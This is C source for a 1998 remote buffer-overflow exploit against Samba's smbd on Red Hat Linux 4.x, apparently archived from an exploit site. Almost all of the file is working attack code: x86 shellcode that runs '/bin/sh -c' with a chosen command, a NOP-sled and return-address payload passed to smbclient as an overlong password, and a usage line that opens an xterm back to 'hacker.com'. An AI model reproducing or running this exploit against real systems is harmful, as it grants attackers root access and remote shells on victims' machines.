/*
    
    Smbd exploit code for x86 linux
    
    Remote user can gain root access.
    
    Tested redhat linux : 4.0 , 4.1 , 4.2
    Tested smbd version : 1.9.16p2 , 1.9.16p11
    
    What requires
    smbclient that can send long password.
    
    Usage
    $ smbd-ex <hostname> <netbios name> <command> [offset]
    
    This program is only for demonstrative use only.
    USE IT AT YOUR OWN RISK!
   
    Programmed by Taeho Oh 1998/10/15
    
 Taeho Oh ( ohhara@postech.edu )            http://postech.edu/~ohhara
 PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus
 PosLUG ( Postech Linux User Group )   http://postech.edu/group/poslug
    
*/

#include <stdio.h>
#include <stdlib.h>

#define OFFSET                            0
#define RET_POSITION                   3060
#define RANGE                            20
#define NOP                            0x90

char shellcode[400]=
  "\xeb\x35"                      /* jmp 0x35       [2000]*/
  "\x5e"                          /* popl %esi      [2000]*/
  "\x89\x76\x0b"                  /* movl %esi,0xb(%esi)  */
  "\x89\xf0"                      /* movl %esi,%eax [2000]*/
  "\x83\xc0\x08"                  /* addl $0x8,%eax [2000]*/
  "\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
  "\x89\xf0"                      /* movl %esi,%eax [2000]*/
  "\x83\xc0\x0b"                  /* addl $0xb,%eax [2000]*/
  "\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
  "\x31\xc0"                      /* xorl %eax,%eax [2000]*/
  "\x88\x46\x07"                  /* movb %eax,0x7(%esi)  */
  "\x88\x46\x0a"                  /* movb %eax,0xa(%esi)  */
  "\x88\x46\x0b"                  /* movb %eax,0xb(%esi)  */
  "\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
  "\xb0\x0b"                      /* movb $0xb,%al  [2000]*/
  "\x89\xf3"                      /* movl %esi,%ebx [2000]*/
  "\x8d\x4e\x0b"                  /* leal 0xb(%esi),%ecx  */
  "\x8d\x56\x0b"                  /* leal 0xb(%esi),%edx  */
  "\xcd\x80"                      /* int 0x80       [2000]*/
  "\x31\xdb"                      /* xorl %ebx,%ebx [2000]*/
  "\x89\xd8"                      /* movl %ebx,%eax [2000]*/
  "\x40"                          /* inc %eax       [2000]*/
  "\xcd\x80"                      /* int 0x80       [2000]*/
  "\xe8\xc6\xff\xff\xff"          /* call -0x3a     [2000]*/
  "/bin/sh -c ";                  /* .string "/bin/sh -c "*/

char command[400];

void usage()
{
  printf("Usage: smbd-ex <hostname> <netbios name> <command> [offset]\n");
  printf("ex) smbd-ex ohhara.target.com OHHARA \"/usr/X11R6/bin/xterm -display hacker.com:0\"\n");
}

void main(int argc,char **argv)
{
  char buffer[256];
  char ip[256];
  char buff[RET_POSITION+RANGE+1],*ptr;
  long *addr_ptr,addr;
  unsigned long sp;
  int offset=OFFSET,bsize=RET_POSITION+RANGE+1;
  int i;

  printf("Taeho Oh ( ohhara@postech.edu )             http://postech.edu/~ohhara\n");
  printf("PLUS ( Postech Laboratory for Unix Security )  http://postech.edu/plus\n");
  printf("PosLUG ( Postech Linux User Group )    http://postech.edu/group/poslug\n\n");

  if(argc<4)
    {
      usage();
      exit(1);
    }

  if(argc>3)
    {
      strcpy(ip,argv[1]);
      sprintf(buffer,"\\\\\\\\%s\\\\IPC$",argv[2]);
      strcpy(command,argv[3]);
    }
  if(argc>4)
    offset=atoi(argv[4]);

  shellcode[5]=(shellcode[5]+strlen(command))/4*4+4;
  shellcode[13]=(shellcode[13]+strlen(command))/4*4+8;
  shellcode[21]=(shellcode[21]+strlen(command))/4*4+12;
  shellcode[32]=(shellcode[32]+strlen(command));
  shellcode[35]=(shellcode[35]+strlen(command))/4*4+16;
  shellcode[42]=(shellcode[42]+strlen(command))/4*4+4;
  shellcode[45]=(shellcode[45]+strlen(command))/4*4+16;
  strcat(shellcode,command);

  sp=0xbffffb11;
  addr=sp-offset;

  ptr=buff;
  addr_ptr=(long*)ptr;
  for(i=0;i<bsize;i+=4)
    *(addr_ptr++)=addr;

  for(i=0;i<bsize-RANGE*2-strlen(shellcode);i++)
    buff[i]=NOP;

  ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
  for(i=0;i<strlen(shellcode);i++)
    *(ptr++)=shellcode[i];

  buff[bsize-1]='\0';

  execl("./smbclient","smbclient",buffer,buff,"-I",ip,NULL);
}
/*                    www.hack.co.za              [2000]*/